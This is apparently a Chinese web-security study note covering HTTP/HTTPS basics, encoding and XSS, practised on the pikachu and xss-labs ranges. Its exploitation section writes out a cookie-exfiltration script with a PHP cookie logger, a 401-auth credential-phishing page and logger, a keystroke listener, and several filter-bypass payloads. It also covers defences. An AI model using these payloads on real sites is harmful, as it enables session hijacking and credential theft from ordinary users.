一、web安全基础

1.web应用

1.HTTP请求与响应

（PC）访问网址->发起请求（HTTP请求包头结构）->（服务器）接收并回应请求->HTTP响应->（HTTP响应包头结构）->得到页面

请求包与响应包不陌生了，bp抓一下就有。

1）Web应用不一定为用户可见页面，比如各类API接口，其原理是一个Web页面，并对用户请求的内容进行处理。

2）Web应用不一定要依托浏览器才能使用，例如，爬虫脚本的数据获取部分，只要能构造HTTP Request包即可开展对Web应用数据的获取。

3）并不一定需要标准的Web中间件，直接利用编程语言编写对应处理规则也可实现对用户请求的处理，但处理的过程就是中间件本来该执行的工作。

2.web应用环境

Web应用需要一台服务器提供基础资源，可运行操作系统，并配合中间件来为用户提供服务。如果站点功能较为复杂，那么还需要用数据库提供基础的数据存储支持，用文件服务器进行备份，用SAN系统提供高性能的文件存储等。在这个过程中，任何一个环节出现问题，都可能导致Web安全问题出现。

3.交互

HTTP协议作为Web应用的基础协议，其特点就是用户请求–服务器响应。在这个过程中，服务器一直处于被动响应状态，无法主动获取用户的信息。再看一下HTML结构，服务器在完成用户响应后，当前的HTML页面会被发送到用户端的浏览器，这也就决定了客户端拥有HTML的全部结构及内容。基于这种交换环境，在客户端可篡改任何请求参数，服务器必须对请求内容进行响应。这也就决定了Web最核心的问题，用户端的所有行为均不可信。

2.Http协议

1.定义与特点

HTTP是一个应用层的面向对象的协议

其特点有三：

1. 无状态，客户端发起请求->服务端响应->发出新请求，每次请求均为独立行为，体现了HTTP无状态特点
2. 支持B/S模式，有浏览器即可工作，用户可上手易于操作
3. 灵活性好，数据传输、视频播放、交互

2.HTTP请求内容

HTTP请求由三部分组成，分别是请求行、消息报头、请求正文。

GET /ad/json/integrate/list?positions=932 HTTP/1.1
Host: kunpeng.csdn.net
Connection: close
sec-ch-ua: “Chromium”;v=”112”, “Google Chrome”;v=”112”, “Not:A-Brand”;v=”99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=utf-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: https://www.csdn.net
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.csdn.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: uuid_tt_dd=10_37087154240-1640528249…..

1.请求行

标准的请求行格式为：

请求方法 请求URI 协议版本 回车换行

嗯，就bp抓包时的第一行

请求方法统计一下

·GET　请求获取Request-URI所标识的资源。

·POST　在Request-URI所标识的资源后附加新的数据。

·HEAD　请求获取由Request-URI所标识的资源的响应消息报头。

·PUT　请求服务器存储一个资源，并用Request-URI作为其标识。

·DELETE　请求服务器删除Request-URI所标识的资源。

·TRACE　请求服务器回送收到的请求信息，主要用于测试或诊断。

·CONNECT　保留，将来使用。

·OPTIONS　请求查询服务器的性能，或者查询与资源相关的选项和需求。

在实际应用中，考虑到安全因素，主要使用GET和POST两种方式开展请求。例如，早期ASP系统中存在大量IIS PUT漏洞，导致攻击者可直接利用PUT工具上传木马以获得Webshell。因此，从安全及业务开展统一的角度，其余方式目前基本都不再使用。

GET和POST在使用中的主要区别为：

·GET方法　通过在浏览器的地址栏中输入网址访问网页时，浏览器采用GET方法向服务器获取资源，对应的请求行示例为：GET/form.html HTTP/1.1（CRLF）。

·POST方法　要求被请求服务器接收附在请求后面的数据，常用于提交表单。

2.消息报头

·Host（必须存在）：Host主要用于指定被请求资源的Internet主机和端口号，即标识请求目标。其来源为当前访问的URL。缺省端口号为80，若指定了端口号（以8000为例）进行防卫，则变成Host： kunpeng.csdn.net:8000。

·Content-Length：标识当前请求包中的内容长度。

·Origin：用来标识本次请求的发起源，只适用于POST方式。

·Referer：用来标识当前请求的发起页面。

·Accept：Accept用于指定客户端接收哪些类型的信息。上例中表明允许后续类型在客户端实现。

·Accept-Encoding：告知服务器端当前客户端可接受的内容编码。

·Accept-Language：告知服务器端支持的语言类型。

·User-Agent：User-Agent通常简称为UA，其中包含当前用户的操作系统、浏览器的基本信息，用于告知Web服务器当前访问者的情况。此报头域不是必需存在的。但如果客户端不使用User-Agent请求报头域，那么服务器端就无法得知客户端的基本信息。目前UA也经常被Web服务器用于统计当前用户状态及行为。

3.请求正文

Sec-Fetch-Dest: document
Referer: http://localhost:81/7/1.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

username=123&pwd=546&%26%2365533%3B%26%2365533%3B%E4%BA%26%2365533%3B=%C4%F3%B8%F2

黑粗体部分为请求正文内容

注意，get请求没有这一项，因为在url就包含了

当然了，防止攻击的话，post的请求参数不要这么大众化。

3.HTTP响应内容

响应行、响应消息报头、响应正文

重点说下常见的响应消息报头：

·Server　Server响应报头域包含服务器用来处理请求的软件信息。参考图1-6，其中定义了Server：Apache，用来告知用户端提供本次响应的服务器端采用的中间件是Apache。可以看到，在响应包中Server信息与请求包中User-Agent信息的作用非常类似，都是将自身的版本告知对方。

·X-Powered-By　用来标识实现当前Web站点所采用的语言及版本号。

·Set-cookie　根据响应包生成Cookie，并提供给客户端。

·Content-Length　与请求包中的用法相同，用以标识当前响应包中的内容长度。

其响应正文内容呢，一般携带当前页面源码，在安全方面无需关注。

常见状态代码及状态描述：

·200：OK，客户端请求成功。

·301：Permanently Moved，页面重定向。

·203：Temporarily Moved，页面临时重定向。

·400：Bad Request，客户端请求有语法错误，不能被服务器所理解。

·401：Unauthorized，请求未经授权，这个状态代码必须和WWW-Authenticate报头域一起使用。

·403：Forbidden，服务器收到请求，但是拒绝提供服务。

·404：Not Found，请求资源不存在，或者请求无法实现。

·500：Internal Server Error，服务器发生不可预期的错误。

·503：Server Unavailable，服务器当前不能处理客户端的请求，一段时间后可能恢复正常。

4.URL

协议+IP+端口(80省略呗)+路径+参数

https://www.neat-reader.cn/webapp#/epubreader?bookguid=682

3.HTTPS协议

HTTP的话，在登录页面上提交账户密码，用wireshark抓取该行为，可以清晰地看到用户当前的行为，包括用户的登录情况、用户名和密码、访问地址等。

所以引出HTTPS

1.定义

HTTPS并不是一个独立的协议，而是工作在SSL协议上的HTTP协议。SSL（Secure Sockets Layer，安全套接层）是一种为网络通信提供安全及数据完整性的安全协议。当然后续有TLS了，算是对SSL的拓展。

在HTTPS传输过程中有两个核心的问题将直接影响用户的数据安全：

1）如何建立安全的传输通道：加密方式

2）如何确认双方的身份：CA认证中心的权威

2.HTTPS单向认证

1）客户端向服务器发起请求，其中包含各种SSL参数，并从服务器端拿到证书。

2）客户端将从服务器端获得的证书提交至CA，CA验证该证书的合法性并告知客户端，客户端根据CA验证结果来确认目标站点的真实性。

3）从服务器端的证书中取出公钥，利用公钥对客户端产生的密钥加密（对称密钥），并利用公钥将加密后的密钥发送到服务器端。

4）服务器端用其私钥解密出数据，即得到客户端发送来的对称密钥，之后均利用这个对称密钥对传输文件进行加密/解密。

单向认证的特点在于只有客户端对服务器端进行了身份验证，而服务器只是对提交过来的加密密钥进行识别并处理，而不对客户端的合法性进行验证。这就造成了遭受SSL剥离攻击的隐患。

SSL剥离攻击

SSL剥离攻击是针对HTTPS单向认证环境的攻击手段。例如，SSL Strip工具的原理就是劫持用户的请求，并模拟用户来与目标站点建立HTTPS连接。成功连接后利用已建立连接的对称密钥解密服务器发送过来的HTTPS，将其中的HTTP再发送给客户端

故HTTPS重点是解决传输过程中链路被劫持的风险，针对Web系统的安全防护效果有限。

3.HTTPS双向认证

1）客户端向服务器发起请求，其中包含各种SSL参数，并从服务器端拿到证书。

2）客户端将从服务器端获得的证书提交至CA，CA验证该证书的合法性并告知客户端，客户端根据CA验证结果来确认目标站点的真实性。在这里新增了两个步骤：

①服务器端要求客户端发送证书并验证，并接受用户的公钥。

②双方利用对方公钥加密来协商可支持的传输类型及密码方案。

3）客户端从服务器端的证书中取出公钥，利用公钥对客户端产生的密钥加密（对称密钥），并利用公钥将加密后的密钥发送到服务器端。

4）服务器端用私钥解密出数据，即得到客户端发送来的对称密钥，之后所有内容均利用这个对称密钥对传输文件进行加密/解密。

该认证方式增加了服务器对客户端的合法性校验，这样可有效避免SSL剥离攻击。但由于会要求密钥生成(安装密钥生成插件)，需要让用户有额外操作，不适用于全部场景。

4.HTTPS特点

·HTTPS并没有改变HTTP协议本身的特性，只是在传输过程中利用SSL/TLS技术进行加密，保障传输过程中的安全。

·HTTPS技术可有效保障用户信息不被泄露，避免上网行为设备、代理类设备对用户当前行为的获取，并且可有效避免来自运营商层面的TCP劫持。

·HTTPS主要防护传输过程中的安全，如果在用户端利用Burpsuite，则依然可以通过代理技术实现对Web访问的劫持，因此并不会有效提升服务器的安全性。

HTTPS重点解决的是传输过程中的安全问题，可用来保障客户端的传输数据安全，并不会直接提升Web站点的安全性。Web安全的问题仍要从功能角度出发，找到问题根源，方可有效解决。

4.编码加密

针对字符的编码

1.ASCII编码

2.DBCS（Double Byte Charecter Set，双字节字符集）:

GB2312、GBK和GB18030等中文编码

传输过程的编码

一般在HTML中，利用“/”“？”“&”等符号实现针对特定字符的内容定义。如果url的参数中也有这些字符，需要编码避免产生影响

1.URL编码

URL中只允许包含英文字母（a～z、A～Z）、数字（0～9）、4个特殊字符（-、_、.、~）以及所有保留字符。在实际Web应用中，所使用的字符不只在这个范围内，如用户输入参数中还带有单引号、百分号、中文等。因此，需要对URL中的非允许字符进行编码。

主体采用的是ASCII编码表，编码方式是用%（百分号）加上两位字符代表一个字节。

例如，单引号在ASCII中的十六进制编码为27，在URL编码中就是%27。

对于中文字符，会先确认当前页面所用的编码格式。如果当前页面使用UTF-8编码，则会先将中文字符转换成UTF-8编码，然后在每个字符的每一组编码前添加%，这样就完成URL编码。

例如：

·URL编码前

HTTP://172.29.152.23/loginPage.jsp?name=测试&passwd=ww121%$

·URL编码后

HTTP://172.29.152.23/loginPage.jsp?name=%E6%B5%8B%E8%AF%95&passwd=ww121%25$

假设当前页面为UTF-8编码。可以看到，URL编码里针对参数“ww121%$”中的“%”进行了编码，编码结果为“%25”。针对中文字符“测试”，URL编码(十六进制)为“%E6%B5%8B%E8%AF%95”。再查询“测试”字符的UTF-8编码，其十六进制编码就是“E6B58B E8AF95”。

2.base64编码

其原理是将3个8bit字节（38=24）转化为4个6bit的字节（46=24）。因此，Base64编码的特点是编码后的字节数是4的倍数，如果不足4bit则用等号（=）等进行填充。它含有大小写字母及+、-、=等符号。

例如：

·编码前：base64编码

·编码后：YmFzZTY057yW56CB（十六位）

·编码前：base64编码1测试

·编码后：YmFzZTY057yW56CBMea1i+ivlQ==

3.HTML字符实体

表示HTML中危险字符的方案，也是解决跨站脚本（XSS）攻击的有效手段。

HTML字符实体的特点是以&开头，并以分号结尾。例如，“<”的编码是“&lt；”。

比如防范xss攻击时，

xss语句:<script>alert（/xss/）</script>

当用户提交的参数为xss语句时，经过HTML字符实体处理后，可得到“&lt；script&gt；alert（/xss/）&lt；/script&gt；”。这样就解决了危险字符的显示问题。

4.Web系统中的加密措施

标准的加密方法是对用户提交的参数（如密码、特定内容等）进行加密后再传输，避免参数在传输过程中被劫持，导致用户数据丢失。当数据传输到Web服务器，将参数解密后处理。这个过程中存在两种情况。

1.不需要服务器知道明文的内容

常见于用户的隐私信息，如用户密码。Web系统在存储用户密码时不会直接存储密码明文，而是预先设定加密算法，将用户的隐私信息加密后存储在数据库中。这样可在系统运维过程中避免管理人员直接观察并获取用户的密码信息。这种情况下，经常利用MD5/SHA-1实现加密。

MD5/SHA-1是一种信息摘要算法，可将任意长度的明文内容转换成长度固定的密文，并且针对信息摘要的过程不可逆，但针对相同内容每次执行算法得到的密文完全相同。

Web系统存储的内容就是经过MD5/SHA-1转换后的密文。因此用户在客户端利用MD5/SHA-1将转换后的密文传输到Web系统，Web系统再将用户密文与数据库中的密文进行比对即可。

当然，由于大量彩虹表（存储明文与密文的表）存在，可间接实现密码破解的效果。

此外，MD5/SHA-1存在碰撞问题，即存在不同明文利用MD5或SHA-1计算之后得到的密文完全相同。

2.需要服务器知道明文的内容

客户端发起的请求中包含了大量需要服务器处理的内容，如订单信息、留言等。由于HTTP协议在传输过程中并不会对其中的内容加密，就会导致在传输过程中内容被抓包。

在传输过程中，加密的最大意义还是避免内容泄漏。

由于成本问题，https不是免费的哈，多数大型站点仍然会采用HTTP进行业务开展。

要在HTTP下保障传输安全，可利用对称加密措施进行实现，如AES方式等。但Web站点始终在用户浏览器上，那么相对应的加密算法也处于公开状态，所以算法越复杂越好，此外还要降低加密传参的数量

5.总结

http请求/响应包结构、http与https、编码加密

二、网络攻击

基础攻击是攻击者将攻击代码通过各种方式嵌入到现有Web系统中，造成Web系统在执行的时候，嵌入的攻击代码使Web系统原有功能结构发生改变，进而导致安全漏洞的出现。

1.xss攻击

1.概述

XSS攻击（Cross Site Scripting，跨站脚本攻击），也叫做html/js注入攻击。

是指攻击者利用网站程序对用户输入过滤不足的缺陷，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击主要影响的是用户端的安全，包含用户信息安全、权限安全等。并且多数XSS攻击都依赖于JavaScript脚本开展。

2.原理

将恶意脚本嵌入到当前网页中并执行的攻击方式

3.原因

主要原因是网站对于用户提交的数据过滤不严格，导致用户提交的数据可以修改当前页面或者插入了一段脚本。

网站一般具有用户输入参数功能，如网站留言板、评论处等。攻击者利用其用户身份在输入参数时附带了恶意脚本，在提交服务器之后，服务器没有对用户端传入的参数做任何安全过滤。之后服务器会根据业务流程，将恶意脚本存储在数据库中或直接回显给用户。在用户浏览含有恶意脚本的页面时，恶意脚本会在用户浏览器上成功执行。恶意脚本有很多种表现形式，如常见的弹窗、窃取用户Cookie、弹出广告等，这也是跨站攻击的直接效果。

4.涉及风险功能点

1.评论

用户输入评论（评论处为攻击代码）→服务器接收到评论并存储（入库存储）→前台自动调用评论→任何人触发评论（直接看到攻击代码）→攻击成功

2.私信

用户发送私信（私信内夹带攻击代码）→服务器接收私信并存储（入库处理）→收信用户打开私信（展示攻击代码）→攻击成功。

XSS攻击的目标为打开已经嵌入XSS攻击代码网页的用户。用户的身份类型各不相同。根据身份特点，重点需要保障的用户信息为：

1）网站的管理员账号信息。

2）网站用户的账号信息及特权、金额等。

3）活跃账号的信息。

5.XSS攻击分类

根据攻击代码的存在地点及是否被服务器存储，并且根据XSS攻击存在的形式及产生的效果，可以将其分为以下三类。

1）反射型跨站攻击：涉及浏览器—服务器交互。

将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出，会导致输出的数据中存在可被浏览器执行的代码数据。

因为一般出现在URL中，因此黑客通常需要通过诱骗或加密变形等方式，将存在恶意代码的链接发给用户，只有用户点击以后才能使攻击成功实施。

2）存储型跨站攻击：涉及浏览器—服务器—数据库交互；

指Web应用程序将用户输入的数据信息保存在服务端的数据库或其他文件形式中，网页进行数据查询展示时，会从数据库中获取数据内容，并将数据内容在网页中进行输出展示。

危害最广；实现偷取用户Cookie、进行内网探测、弹出广告等行为。

为常见的场景就是在博客或新闻发布系统中，黑客将包含恶意代码的数据信息直接写入文章或文章评论中，所有浏览文章或评论的用户就会被黑客在他们的客户端浏览器环境中执行插入的恶意代码。

3）DOM型跨站攻击：涉及浏览器—服务器交互。

其从效果上来说也算是反射型XSS。但是这种XSS实现方法比较特殊，是由JavaScript的DOM节点编程可以改变HTML代码这个特性而形成的XSS攻击。

基于DOM的XSS攻击往往需要针对具体的JavaScript DOM代码进行分析，并根据实际情况进行XSS攻击的利用。

实际上构造难度较大，比较少见。

一般例子就是

“write”按钮的onclick事件调用了test（）函数。而在test（）函数中，修改了页面的DOM节点，通过innerHTML把一段用户数据当做HTML写入到页面中，这就造成了DOM based XSS。

6.攻击条件

反射型/DOM型跨站攻击均可以理解为：

服务器接收到数据，并原样返回给用户，整个过程中Web应用并没有自身的存储过程（存入数据库）。这也就导致了攻击无法持久化，仅针对当次请求有效，也就无法直接攻击其他用户。

当然，这两类攻击也可利用钓鱼、垃圾邮件等手段产生攻击其他用户的效果。但是需在社会工程学的配合下执行。随着目前浏览器的各类过滤措施愈发严格，在实战过程中这类攻击的成功率、效果及危害程度均不高。但我们仍需关注这类风险。

例子（存储型）

假设攻击者要想成功实施跨站脚本攻击，那么必须对业务流程进行了解。

流程如下：

业务流程关键点分析：

1）入库处理：攻击脚本需存储在数据库中，可供当前应用的使用者读取。

2）出库处理：由当前功能的使用者按照正常的业务流程从数据库中读取信息，这时攻击脚本即开始执行。

再对攻击进行分析，并结合XSS攻击的特性可知，XSS攻击成功必须要满足以下四个条件：

（1）入库处理

1）目标网页有攻击者可控的输入点。

2）输入信息可以在受害者的浏览器中显示。

3）输入具备功能的可执行脚本，且在信息输入和输出的过程中没有特殊字符的过滤和字符转义等防护措施，或者说防护措施可以通过一定的手段绕过。

（2）出库处理

浏览器将输入解析为脚本，并具备执行该脚本的能力。

实现一个XSS存储型跨站攻击，以上四点缺一不可。

当然，防护的话，只需破坏上述任意一个条件。

总结

从防护角度，可以选择禁止攻击脚本存储在数据库，即在入库时做处理；或者对攻击脚本进行转义，避免出库时顺利执行。满足以上两种条件中的任何一个即可实现有效的防护。

7.XSS漏洞发现

1.基本测试流程

对于存储型跨站漏洞。这主要取决于可能含有XSS漏洞的业务流程针对用户参数的过滤程度或者当前的防护手段。由于XSS漏洞最终仍需业务使用者浏览后方可触发执行，导致某些后台场景需要管理员触发后方可发现。因此，漏洞是否存在且可被利用，很多时候需要较长的时间才会得到结果。

常见的web漏洞扫描器可以扫出反射型xss漏洞，但仍有误报的可能，需要人工检验。存储型跨站攻击必须由用户触发才能被发现。如果用户一直不触发，则漏洞无法检查出来。

漏洞标准挖掘流程：

1）漏洞挖掘，寻找输入点。

2）寻找输出点。

3）确定测试数据输出位置。

4）输入简单的跨站代码进行测试。

存储型xss测试

1.寻找输入点

攻击者通过提交参数，意图修改当前页面的HTML结构。XSS攻击成功时，提交的参数格式可在当前页面拼接成可执行的脚本。

可见，XSS漏洞存在的要求就是：当前页面存在参数显示点，且参数显示点可被用户控制输入。因此，寻找用户端可控的输入点是XSS攻击成功的第一步。

一般发生在留言板、在线信箱、评论栏等处，表现特征是用户可自行输入数据，并且数据会提交给服务器。通常可以通过观察页面的交互行为来确定输入点。通常情况下，要求可提交数据量至少在20字符以上，否则JavaScript脚本很难执行。在日常应用中，如留言板、在线信箱、评论栏等功能都允许用户输入100字左右，均能达到XSS攻击对允许输入字符的要求。

输入点位置

除了直接观察之外，利用Web代理工具抓包来查看提交参数也是寻找输入点的一个有效途径。在一些输入点隐蔽或者用户输入被JS脚本限制的页面，可以采用Brupsuite抓包的方式寻找输入点。通过直接抓取HTTP包，观察里面是否有隐藏参数，并且对隐藏参数在页面上进行定位，即可找到输入点位置。

2.测试输出位置

测试主要基于两个目的：

1）确定网站对输入内容是否进行了输出，判断是否可以展开XSS攻击。

2）有时候需要根据输出的位置的HTML环境来编写有效的XSS代码。

一般留言板这些，输出位置很明显。

xss盲打

如果不回显的话（内容可能不会在前台展示，或者需要一定的时间通过人工审核后才能展示）

除了凭借经验外，还可以尝试XSS攻击窃取Cookie，后台审核的一般是管理账户，若测试成功可能直接获得管理权限，但直接对管理员实施的XSS攻击也增加了被发现的风险。这也就是俗称的“XSS盲打后台”。

XSS盲打的目标功能点通常有：

·留言板

·意见反馈点

·私信功能

·文件上传点中的信息输入框

·在线提交信息等

XSS盲打的目标是找到输入点插入跨站代码，并且要求插入的代码由管理员在正常Web应用流程中触发。因此，如何寻找与管理员的“互动”成为关键点。

该漏洞见pikachu靶场。

3.测试基本跨站代码

测试XSS攻击的经典方式就是“弹窗测试”，即在输入中插入一段可以产生弹窗效果的JavaScript脚本，如果刷新页面产生了弹窗，表明XSS攻击测试成功。

<script>alert(1)</script>，提交后，刷新页面，出现弹窗说明存在xss。

2.绕过思路

以下只提供理论，实践请配合xss-labs靶场使用。

1.闭合标签测试

利用查看网页源代码功能，如果内容输出在标签内。采取闭合方法。

2.大小写混合测试

3.多重嵌套测试

顾名思义，如果<script>标签被自动删除，构造攻击代码为<scr<script>ipt>试试。

4.宽字节绕过测试

如果目标服务器采取了黑名单+强制转换格式+多重嵌套过滤手段，那么仅通过对脚本中的关键词做基本变形已无法绕过防护机制。

后续的有效思路在于尝试提交的关键词绝对不能与黑名单中的关键词重合，也就是说，提交的参数应避免触发黑名单机制。这里会利用宽字节的测试手段。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常用的宽字节编码，这类编码方案在针对字符进行编码时利用两字节进行编码。宽字节带来的安全问题主要是吃ASCII字符（一字节）的现象

宽字节绕过

GBK编码存在宽字节的问题，主要表现为GBK编码第一字节（高字节）的范围是0x81～0xFE，第二字节（低字节）的范围是0x40～0x7E与0x80～0xFE。GBK就是以这样的十六进制来针对字符进行编码。在GBK编码中，“\”符号的十六进制表示为0x5C，正好在GBK的低字节中。

如果在后面添加一个高字节编码，那么添加的高字节编码会与原有编码组合成一个合法字符。

你要闭合，发现，引号等参数被转义了。

比如';sdsdsd'结果为\‘;...

而宽字节绕过为：

%bf';<script>alert(/xss/)</script>;//

分析一下：

%bf在GBK编码的高字节范围，与后台转义单引号（’）生成的斜杠（\）相结合，正好组成了汉字“縗”的GBK编码，这个时候斜杠对单引号的转义效果便失效了，当然了，现在一般都采用utf-8，这种漏洞环境就少见了。

5.多标签测试

能够触发弹窗效果的远不止<script>这一种标签

而且语句失效是难免的，主要是了解构造原理。

XSS语句的基本特点是利用各类JS脚本特性来设计触发点，攻击代码则可利用各类型编码或者外部引用方式进行加载。

IE\Chrome\Firefox浏览器中的XSS Filter（针对XSS攻击的过滤器）包含语句非常全面。

过滤机制在于会提前识别post或get方法传递参数过滤中是否存在跨站代码，再根据服务器的响应包内容进行判断，如果存在则禁止显示。

3.测试总结

学到了挖洞流程，在测试过程中，先判断漏洞存在的基本环境、条件，再构造XSS语句。

8.利用方式

弹窗测试只是用来证明XSS的存在，但远远不能说明XSS的危害。

但是OWASP TOP10多次把XSS威胁列在前位。

常见利用方式如下。

1.窃取Cookie

由于HTTP的特性，Cookie是目前Web系统识别用户身份和会话保存状态的主要方式。一旦应用程序中存在跨站脚本执行漏洞，那么攻击者就能利用XSS攻击轻而易举地获取被攻击者的Cookie信息，并伪装成当前用户登录，执行恶意操作等行为。

如果受害用户是管理员，那么攻击者甚至可以轻易地获取Web系统的管理权限。这类权限通常会有文件修改、上传，连接数据库等功能，再配合后续的攻击，会给当前Web应用安全带来很大的威胁。

假设攻击者在一个常规运行的网站的留言板上发现了一个存储型的XSS漏洞，那么攻击者就可以使用下面的代码进行跨站攻击：

1

<script>document.location='http://localhost:81/pikachu/vul/xss/xssblind/test.php?cookie='+document.cookie;</script>

当用户浏览到留言板上的这条信息时，浏览器会加载这段留言信息，从而触发了这个JS攻击脚本。攻击脚本便会读取该正常网站下的用户Cookie，并将Cookie作为参数以GET方式提交到攻击者的远程服务器www.xxx.com。在该远程服务器中，攻击者事先准备好了一个cookie.php放在Web根目录，代码如下：

1
2
3
4
5
6

<?php
$cookie = $_GET['cookie'];
$log = fopen("../cookie.txt","a");//写了个目录路径
Fwrite($log,$cookie."/n");
Fclose($log);
?>

当有用户触发攻击时，攻击者服务器中的cookie.php便会接收受害者传入的Cookie，并保存在本地文件cookie.txt中。若Cookie还在有效期内，攻击者便可以利用该Cookie伪装成受害用户进行登录，进行非法操作。

这里怎么触发呢？我按照要求在pikachu的xss盲打同目录下建立了test.php用来将cookie存起来，噢，代码就没有弹cookie嘞

反射型可以，确实txt文件中添加到了。

2.钓鱼攻击

攻击者精心构造的跨站代码可以实现更多功能，诸如改变网站的前端页面、构造虚假的表单来诱导用户填写信息等。如果攻击者利用一个正规网站的XSS漏洞来伪造一个钓鱼页面，那么与传统的钓鱼网站相比，从客户端浏览器的地址栏看起来XSS伪造的钓鱼页面属于该正规网站，具有非常强的迷惑性。

像以前的qq环境，有人给你私聊或者是空间留言，伴随了一个陌生链接，引起你的好奇心，点进了一个网址，这个网址居然是网页版的qq登录界面，登录进去后发现什么也没有。第二天，你的qq就出现异地登录了。

利用401认证实现用户信息钓鱼

我以pikachu的存储性xss为例，达到的目的是，留言板上触发脚本，弹出认证窗口，输入的用户名和密码，再由另一个php文件保存。

首先写好一个auth.php文件，目的是认证窗口，要求用户重新输入用户名和密码，内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<?php
error_reporting(0);
/* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值：发送产生显示文本框的数据头部*/
header('WWW-Authenticate:Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} 
else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
/* 变量值存在，检查其是否正确 */
    
    //结果发送给接收消息的后台
header("Location: http://localhost:81/pikachu/vul/xss/xssblind/index.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
}
?>

其次，写一个index.php通过get()方式获取远端传输过来的账号和密码

当然了，为什么用GET。

凭据都是通过请求头部发送的，而不是通过请求体进行传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
if(!empty($_GET['username'])&&!empty($_GET['password']))
{	
    $username=$_GET['username'];
	$password=$_GET['password'];
	$referer="";
	$referer.=$_SERVER['HTTP_REFERER'];
	$time=date('Y-m-d g:i:s');
	$log = fopen("D:/phpstudy_pro/WWW/pikachu/vul/xss/xssblind/user.txt",'a');
	fwrite($log,$username."+++++".$password."+++++".$referer."/n");
	fclose($log);
}

?>

一般是用数据库存储的，我这里用txt文件代替了。

现在去留言板输入xss语句

1
2

<script src="http://localhost:81/pikachu/vul/xss/xssblind/auth.php?id=yVCEB3&info=input+your+account">
</script>

可惜，我反复停留在认证框，登录没法跳转。

所以我的index.php貌似触发不了，嘶，没道理诶。(chrom和firefox都不行，之后再看吧)

当然了，以上php文件在pikachu的pkxss模块是有的，不需要自己写了。

XSS钓鱼攻击演示。_三块五的咸菜干的博客-CSDN博客

3.窃取客户端信息

通过使用JS脚本，攻击者可以获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键记录等许多敏感信息，并将其发送到自己的服务器保存下来。

监听用户键盘动作

当用户在访问登录、注册、支付等页面时，在页面下的按键操作一般都是输入账号、密码等重要信息。如果攻击者在这些页面构造了跨站攻击脚本，便可记录用户的按键信息，并将信息传输到自己的远程服务器，那么用户的密码等资料便发生了泄漏。此处为了更好地演示效果，将监听到的用户按键直接采用网页弹窗弹出。构造的跨站代码如下：

1
2
3
4
5
6

<script>
function keyDown(){
var realkey = String.fromCharCode(event.keyCode);
alert(realkey);}
document.onkeydown = keyDown;
</script>

还是提交到留言板上后，弹窗显示对应按键

如果和钓鱼一样，把按键监听结果发送到远程服务器，啧啧。

9.标准防护方法

已知XSS的原理就是：注入一段能够被浏览器解释执行的代码，并且通过各类手段使得这段代码“镶嵌”在正常网页中，由用户在正常访问中触发。

防御的困难点在于：

1.web浏览器本身就有很多安全问题，而浏览器又是xss的攻击主战场

2.web应用程序有广泛的输入/输出交互点

虽然有过滤特殊字符代码，但还是存在一些绕过方式。

过滤特殊字符的绕过

1.href属性中的伪协议

<a>标签中利用href属性，在用户传入的参数前面加上http://来构成URL。但如果可成功利用传入的参数构造语句为“<a href=javascript：alert（’/a/‘）>adas</a>”，则与直接执行javascript：alert（’/a/‘）的效果完全相同。

如果冒号被过滤了：

2.利用HTML实体化编码绕过过滤脚本

将“javascript”中的字符“s”进行了实体化编码，对应的HTML实体化编码为&#x73；

3.HTML5新增标签

对于黑名单可以寻找没有过滤的标签，如<math>标签的利用(firefox)

1
2
3

<math>
<maction xlink:href="javascript:alert(/xss/)">hello world</maction>
</math>

1

<embed src="javascript:alert(1)"/>

使用实体化编码防御

有了这些特殊符号，攻击者就可以肆意地进行闭合标签、篡改页面、提交请求等行为。在输出内容之前，如果能够对特殊字符进行编码和转义，让浏览器能知道这些字符是被用作文字显示而不是作为代码执行，就会使攻击代码无法被浏览器执行。编码的方式有很多种，每种都适应于不同的环境。下面介绍两种常见的安全编码。

1.HTML编码

在PHP中，可以使用htmlspecialchars（）来进行编码，HTML是替换编码，告知浏览器哪些特殊字符只能作为文本显示，不能当作代码执行。从而规避了XSS风险。

2.JavaScript编码

用户的输入信息有时候会被嵌入JavaScript代码块中，也就是添加”\“进行了转义

HttpOnly

是Cookie的一项属性。如果一个Cookie值设置了这个属性，那么浏览器将禁止页面的JavaScript访问这个Cookie。窃取用户Cookie是攻击者利用XSS漏洞进行攻击的主要方式之一，如果JS脚本不具备读取Cookie的权限，那窃取用户Cookie的这项攻击也就宣告失败了。

但这只是一个防止Cookie被恶意读取的设置，仅仅可阻碍跨站攻击行为偷取当前用户的Cookie信息，并没有从根本上解决XSS的问题。可以搭配以上措施使用。

在PHP下开启HttpOnly的方式如下：

1）找到PHP.ini，寻找并开启标签session.cookie_httponly=true，从而开启全局的Cookie的HttpOnly属性。

2）Cookie操作函数setcookie和setrawcookie专门添加了第7个参数来作为HttpOnly的选项，开启方法为：

1
2

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

